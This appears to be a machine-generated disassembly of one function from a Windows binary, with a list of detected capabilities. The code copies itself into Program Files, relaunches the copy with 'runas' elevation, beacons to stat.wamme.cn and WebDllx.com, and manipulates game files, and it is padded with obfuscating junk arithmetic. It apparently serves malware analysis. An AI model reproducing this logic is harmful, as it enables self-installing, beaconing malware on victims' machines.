Function at 0x401f60
Capabilities:
Copy file
Create a process with modified i/o handles and window
Create directory
Create process on windows
Create process suspended
Delete file
Initialize winsock library
Move file
Read .ini file
Terminate process

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x43e85b
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ecx
mov eax, 0x12a0
call fcn.004248b0
mov eax, dword [0x451944]
push ebx
mov dword [ebp - 0x14], eax
push esi
mov esi, dword [0x44d0fc]
push edi
xor eax, eax
mov byte [ebp - 0x814], 0
mov ecx, 0x7f
lea edi, [ebp - 0x813]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov eax, dword [0x44d0f8]
lea ecx, [eax + eax + 0x7e]
sub ecx, esi
mov dword [ebp - 0x10], esp
push 0
mov dword [str._r_____r____], ecx
mov dword [ebp - 4], 0
call fcn.0042486f
mov edx, dword [0x44d0f8]
mov ebx, dword [0x44d100]
mov ecx, dword [0x44d108]
sub edx, ebx
sub edx, ecx
sub edx, 0x3b
add esp, 4
mov esi, eax
mov edi, 0x190
mov dword [0x44d0f0], edx
call fcn.0043bdd2
mov eax, dword [eax + 4]
mov eax, dword [eax + 0x44]
push eax
lea ecx, [ebp - 0xdac]
call fcn.00401eb0
mov ecx, dword [ebp - 0xdac]
mov byte [ebp - 4], 1
lea edx, [ebp - 0x514]
nop
mov al, byte [ecx]
inc ecx
mov byte [edx], al
inc edx
test al, al
jne 0x402020
lea eax, [ebp - 0x514]
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x402033
sub eax, edx
mov dword [ebp - 0xda8], eax
jne 0x402432
mov edx, dword [0x44d0f0]
mov ecx, dword [0x44d0f4]
sub ecx, edx
mov edx, dword [0x44d10c]
push str.C:WINDOWS_system32driversetc_service3.ini
push 0x100
lea eax, [ecx + edx + 0xa1]
lea ecx, [ebp - 0x114]
push ecx
push 0x440e1d
push str.rand
push str.aaaaa
mov dword [0x44d0f8], eax
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileStringA]
lea edx, [ebp - 0x114]
push edx
call fcn.0042486a
add esp, 4
test eax, eax
jle 0x4020b2
lea eax, [ebp - 0x114]
push eax
call fcn.0042486a
add esp, 4
mov esi, eax
mov eax, esi
cdq
idiv edi
mov ecx, edx
and ecx, 0x80000001
jns 0x4020c6
dec ecx
or ecx, 0xfffffffe
inc ecx
cmp ecx, 1
jne 0x4020f8
mov eax, dword [0x44d0ec]
mov ecx, dword [0x44d0f4]
mov esi, dword [0x44d100]
sub eax, ecx
lea eax, [esi + eax + 0xa7]
lea esi, [edx + 1]
mov dword [0x44d100], eax
lea eax, [edx - 1]
mov dword [ebp - 0xda8], esi
jmp 0x402128
mov ecx, dword [0x44d0f0]
mov ebx, dword [0x44d104]
mov esi, dword [0x44d0ec]
sub ecx, ebx
sub ecx, esi
add ecx, 0x78
mov dword [0x44d108], ecx
lea ecx, [edx + 2]
mov dword [ebp - 0xda8], ecx
mov ecx, dword [0x44d0f4]
mov eax, edx
cmp dword [ebp - 0xda8], edi
jl 0x402137
dec edx
mov dword [ebp - 0xda8], edx
mov edx, dword [0x44d0f8]
imul eax, eax, 0x1e
sub ecx, edx
mov edx, dword [str._r_____r____]
lea ebx, [eax + 0x44d110]
lea ecx, [ecx + edx - 0x1d]
push ebx
lea edx, [ebp - 0x214]
push str.C:Program_Files_s
push edx
mov dword [0x44d0ec], ecx
call fcn.0042478a
add esp, 0xc
push 0
lea eax, [ebp - 0x214]
push eax
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
mov ecx, dword [ebp - 0xda8]
imul ecx, ecx, 0x1e
add ecx, 0x44d110
push ecx
push ebx
lea edx, [ebp - 0x214]
push str.C:Program_Files_s_s.exe
push edx
call fcn.0042478a
mov eax, dword [str._r_____r____]
mov ecx, dword [0x44d0f0]
mov edx, dword [0x44d0fc]
add esp, 0x10
add ecx, eax
lea eax, [edx + ecx + 0xca]
push 0x100
lea ecx, [ebp - 0x114]
push ecx
push 0
mov dword [0x44d0fc], eax
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
push 0x100
lea edx, [ebp - 0x114]
push 0x8000
push edx
call fcn.004310e8
mov esi, eax
add esp, 0xc
cmp esi, 0xffffffff
je 0x402432
push 0x100000
push 0x4528c0
push esi
call fcn.0042fd18
push esi
mov edi, eax
call fcn.004304d7
add esp, 0x10
cmp edi, 0x2800
jle 0x402432
push 0
call fcn.0042486f
push eax
push 0x440ddc
push 0x452bc0
call fcn.0042478a
push 0x180
lea eax, [ebp - 0x214]
push 0x8302
push eax
call fcn.004310e8
mov esi, eax
add esp, 0x1c
cmp esi, 0xffffffff
je 0x402432
push edi
push 0x4528c0
push esi
call fcn.0042d7ea
push 2
push 0
push esi
call fcn.0042d571
xor eax, eax
mov ecx, 0x80
lea edi, [ebp - 0xc14]
rep stosd dword es:[edi], eax
mov ecx, dword [ebp - 0xda8]
push ecx
lea edx, [ebp - 0xc14]
push edx
push esi
call fcn.0042d7ea
push esi
call fcn.004304d7
mov eax, dword [0x44d0f8]
mov edx, dword [0x44d0fc]
lea ecx, [eax + eax + 0x7e]
sub ecx, edx
lea edx, [ebp - 0x214]
push edx
lea eax, [ebp - 0x114]
push str._s__33201_
push eax
mov dword [str._r_____r____], ecx
call fcn.0042478a
mov edx, dword [0x44d100]
xor eax, eax
mov ecx, 0x11
lea edi, [ebp - 0xdf0]
rep stosd dword es:[edi], eax
mov eax, dword [0x44d0f8]
mov ecx, dword [0x44d108]
sub eax, edx
mov edx, dword [0x44d10c]
sub eax, ecx
mov ecx, dword [0x44d0f4]
add esp, 0x34
sub eax, 0x3b
sub ecx, eax
mov dword [0x44d0f0], eax
lea eax, [ecx + edx + 0xa1]
lea ecx, [ebp - 0xe00]
push ecx
lea edx, [ebp - 0xdf0]
push edx
push 0
push 0
push 0x20
push 0
push 0
mov dword [0x44d0f8], eax
push 0
lea eax, [ebp - 0x114]
push eax
push 0
mov dword [ebp - 0xdf0], 0x44
mov dword [ebp - 0xdc4], 1
mov word [ebp - 0xdc0], 5
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
je 0x402382
mov edx, dword [0x44d0f4]
mov ecx, dword [0x44d0ec]
sub ecx, edx
mov edx, dword [0x44d100]
lea eax, [edx + ecx + 0xa7]
push 0
mov dword [0x44d100], eax
call fcn.0042474a
mov ecx, dword [0x44d0f0]
mov edi, dword [0x44d104]
mov esi, dword [0x44d0ec]
sub ecx, edi
push ebx
sub ecx, esi
lea edx, [ebp - 0x214]
add ecx, 0x78
push str.C:Program_Files_s
push edx
mov dword [0x44d108], ecx
call fcn.0042478a
add esp, 0xc
push 1
lea eax, [ebp - 0x214]
push eax
push 0
lea ecx, [ebp - 0x114]
push ecx
push str.runas
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
cmp eax, 0x20
push 0
jg 0x402983
mov eax, dword [0x44d0f8]
mov edx, dword [0x44d0f4]
push 0
push 0
push 0
push str.http:__stat.wamme.cn_C8C_gl_cnzz61.html_pagehttp:__www.WebDllx.com_RunExeFail
push 0x44fff4
sub edx, eax
mov eax, dword [str._r_____r____]
push 0
lea ecx, [edx + eax - 0x1d]
mov eax, dword [ebp + 8]
push 0
push 1
add eax, 0x74
push 0x68
push eax
mov dword [0x44d0ec], ecx
call fcn.004368d7
mov ebx, dword [sym.imp.KERNEL32.dll_Sleep]
add esp, 0x2c
push 0x2710
call ebx
jmp 0x402438
mov ebx, dword [sym.imp.KERNEL32.dll_Sleep]
mov edx, dword [0x44d0f4]
mov edi, dword [0x44d0f8]
mov eax, dword [str._r_____r____]
sub edx, edi
lea ecx, [edx + eax - 0x1d]
lea edx, [ebp - 0xda4]
push edx
push 0x101
mov dword [0x44d0ec], ecx
call dword [sym.imp.WS2_32.dll_WSAStartup]
test eax, eax
je 0x402472
push 0
call fcn.0042474a
push 3
push 0x44fff0
push 0x413c
call fcn.004014d0
add esp, 0xc
test eax, eax
je 0x4024bf
mov eax, dword [0x44d0f0]
mov edi, dword [0x44d104]
mov esi, dword [0x44d0ec]
sub eax, edi
sub eax, esi
add eax, 0x78
mov dword [0x44d108], eax
mov eax, dword [0x44fff0]
cmp eax, 0xffffffff
je 0x4024b8
push eax
call dword [sym.imp.WS2_32.dll_closesocket]
push 0
call fcn.0042474a
mov ecx, dword [0x44d0f8]
mov esi, dword [0x44d100]
mov edx, dword [0x44d108]
sub ecx, esi
sub ecx, edx
sub ecx, 0x3b
push 0
push str.C:WINDOWS_system32driversetc_service1.ini
mov dword [0x44d0f0], ecx
call fcn.0042457d
add esp, 8
cmp eax, 0xffffffff
jne 0x40250d
push 0
push str.C:WINDOWS_system32driversetc_service2.ini
call fcn.0042457d
add esp, 8
cmp eax, 0xffffffff
je 0x40250d
push 0xea60
call ebx
mov edx, dword [0x44d0f0]
mov esi, dword [0x44d104]
mov ecx, dword [str._r_____r____]
sub edx, esi
sub edx, ecx
sub edx, 0x54
push 0
push str.C:WINDOWS_system32driversetc_service1.ini
mov dword [0x44d0f4], edx
call fcn.0042457d
add esp, 8
cmp eax, 0xffffffff
je 0x40295a
push 0
push str.C:WINDOWS_system32driversetc_service2.ini
call fcn.0042457d
add esp, 8
cmp eax, 0xffffffff
je 0x40295a
mov ecx, dword [str._r_____r____]
mov eax, dword [0x44d0f0]
mov edx, dword [0x44d0fc]
add eax, ecx
mov ecx, dword [0x44d0f8]
lea eax, [edx + eax + 0xca]
push 0x440ce4
lea edx, [ecx + ecx + 0x7e]
push 0x200
sub edx, eax
mov dword [0x44d0fc], eax
lea eax, [ebp - 0xa14]
push eax
push 0x440e1d
push str.ConfigL0
push str.GameType1
mov dword [str._r_____r____], edx
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileStringA]
mov edi, 0x440e1d
lea esi, [ebp - 0xa14]
mov ecx, 1
xor edx, edx
repe cmpsb byte [esi], byte es:[edi]
je 0x402781
mov eax, dword [0x44d0f8]
mov esi, dword [0x44d100]
mov edx, dword [0x44d108]
sub eax, esi
lea ecx, [ebp - 0xa14]
push ecx
sub eax, edx
lea edx, [ebp - 0x12b0]
sub eax, 0x3b
push 0x12c
push edx
mov dword [0x44d0f0], eax
call fcn.004012d0
add esp, 0xc
cmp eax, 5
jl 0x402781
mov ecx, dword [0x44d0f0]
mov eax, dword [0x44d0f4]
sub eax, ecx
mov ecx, dword [0x44d10c]
lea edx, [eax + ecx + 0xa1]
mov dword [0x44d0f8], edx
mov edx, dword [ebp - 0x12b0]
mov eax, edx
lea esi, [eax + 1]
lea esp, [esp]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x402640
sub eax, esi
mov cl, byte [eax + edx - 1]
mov eax, dword [ebp - 0x12a4]
push eax
cmp cl, 0x5c
push edx
lea ecx, [ebp - 0x414]
jne 0x402667
push str._s_s
jmp 0x40266c
push 0x440cbc
push ecx
call fcn.0042478a
mov eax, dword [0x44d0f4]
mov edx, dword [0x44d0ec]
sub edx, eax
mov eax, dword [0x44d100]
lea ecx, [eax + edx + 0xa7]
add esp, 0x10
lea edx, [ebp - 0x414]
push edx
lea eax, [ebp - 0x614]
push str._s.bak
push eax
mov dword [0x44d100], ecx
call fcn.0042478a
add esp, 0xc
push 0
lea ecx, [ebp - 0x614]
push ecx
lea edx, [ebp - 0x414]
push edx
call dword [sym.imp.KERNEL32.dll_CopyFileA]
mov esi, dword [sym.imp.KERNEL32.dll_DeleteFileA]
lea eax, [ebp - 0x414]
push eax
call esi
mov ecx, dword [0x44d0f0]
mov eax, dword [0x44d104]
mov edi, dword [0x44d0ec]
sub ecx, eax
sub ecx, edi
lea edx, [ebp - 0x414]
add ecx, 0x78
push 0
push edx
mov dword [0x44d108], ecx
call fcn.0042457d
add esp, 8
cmp eax, 0xffffffff
je 0x402735
mov edx, dword [0x44d0f8]
mov eax, dword [0x44d0f4]
mov ecx, dword [str._r_____r____]
sub eax, edx
lea edx, [eax + ecx - 0x1d]
lea eax, [ebp - 0x614]
push eax
mov dword [0x44d0ec], edx
call esi
push 0
call fcn.0042474a
mov edx, dword [0x44d104]
mov ecx, dword [0x44d0f0]
mov eax, dword [str._r_____r____]
sub ecx, edx
sub ecx, eax
lea edx, [ebp - 0x414]
push edx
lea eax, [ebp - 0x614]
sub ecx, 0x54
push eax
mov dword [0x44d0f4], ecx
call dword [sym.imp.KERNEL32.dll_MoveFileA]
lea ecx, [ebp - 0x414]
lea edx, [ebp - 0x814]
mov al, byte [ecx]
inc ecx
mov byte [edx], al
inc edx
test al, al
jne 0x402773
push 0x64
call ebx
mov edx, dword [str._r_____r____]
mov ecx, dword [0x44d0f0]
lea eax, [ecx + edx]
mov edx, dword [0x44d0fc]
lea eax, [edx + eax + 0xca]
mov dword [0x44d0fc], eax
lea eax, [ebp - 0x814]
lea esi, [eax + 1]
jmp 0x4027b0
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x4027b0
sub eax, esi
mov dword [ebp - 0xda8], eax
push 0
jne 0x4027c8
call fcn.0042474a
mov esi, dword [0x44d104]
mov edx, dword [0x44d0ec]
sub ecx, esi
sub ecx, edx
add ecx, 0x78
mov dword [0x44d108], ecx
lea ecx, [ebp - 0x814]
push ecx
call fcn.0042457d
add esp, 8
cmp eax, 0xffffffff
jne 0x40288c
mov edx, dword [0x44d0f4]
mov esi, dword [0x44d0fc]
mov eax, dword [0x44d100]
push 0
push 0
push 0
push 0
push str.http:__stat.wamme.cn_C8C_gl_cnzz60.html_pagehttp:__www.WebDllx.com_NoDllx
push 0x44fff4
push 0
sub edx, esi
lea ecx, [edx + eax - 0x18]
mov eax, dword [ebp + 8]
push 0
push 1
add eax, 0x74
push 0x68
push eax
mov dword [0x44d10c], ecx
call fcn.004368d7
add esp, 0x2c
push 0x2710
call ebx
mov edx, dword [0x44d0f8]
mov ecx, dword [0x44d0fc]
lea eax, [edx + edx + 0x7e]
sub eax, ecx
push 0
push str.C:WINDOWS_system32driversetc_service1.ini
mov dword [str._r_____r____], eax
call fcn.0042457d
add esp, 8
cmp eax, 0xffffffff
je 0x402885
push 0
push str.C:WINDOWS_system32driversetc_service2.ini
call fcn.0042457d
add esp, 8
cmp eax, 0xffffffff
jne 0x40288c
push 0
call fcn.0042474a
lea ecx, [ebp - 0x814]
lea edx, [ebp - 0x614]
mov al, byte [ecx]
inc ecx
mov byte [edx], al
inc edx
test al, al
jne 0x402898
mov ecx, dword [0x44d0f8]
mov edi, dword [0x44d100]
mov esi, dword [0x44d108]
sub ecx, edi
sub ecx, esi
sub ecx, 0x3b
push 0x132b600
mov dword [0x44d0f0], ecx
call sym.CallDll.exe_int___cdecl_process5_int_
add esp, 4
push 0x1388
call ebx
mov eax, dword [ebp + 8]
push 0
push 0
push 0
push 0
push str.http:__stat.wamme.cn_C8C_gl_cnzz60.html_pagehttp:__www.WebDllx.com_NewRun
push 0x44fff4
push 0
push 0
push 1
add eax, 0x74
push 0x68
push eax
call fcn.004368d7
add esp, 0x2c
push 0x2710
call ebx
mov eax, dword [0x44d0f0]
mov edx, dword [0x44d0f4]
sub edx, eax
mov eax, dword [0x44d10c]
lea ecx, [edx + eax + 0xa1]
mov dword [0x44d0f8], ecx
xor esi, esi
jmp 0x402930
mov edx, dword [0x44d0ec]
mov edi, dword [0x44d0f4]
mov eax, dword [0x44d100]
sub edx, edi
lea ecx, [eax + edx + 0xa7]
push 0x2710
mov dword [0x44d100], ecx
call ebx
inc esi
jmp 0x402930
mov edx, dword [0x44d0f4]
mov esi, dword [0x44d0f0]
mov eax, dword [0x44d10c]
sub edx, esi
lea ecx, [edx + eax + 0xa1]
push 0x493e0
mov dword [0x44d0f8], ecx
call ebx
push 0
call fcn.0042474a
mov eax, 0x402981
ret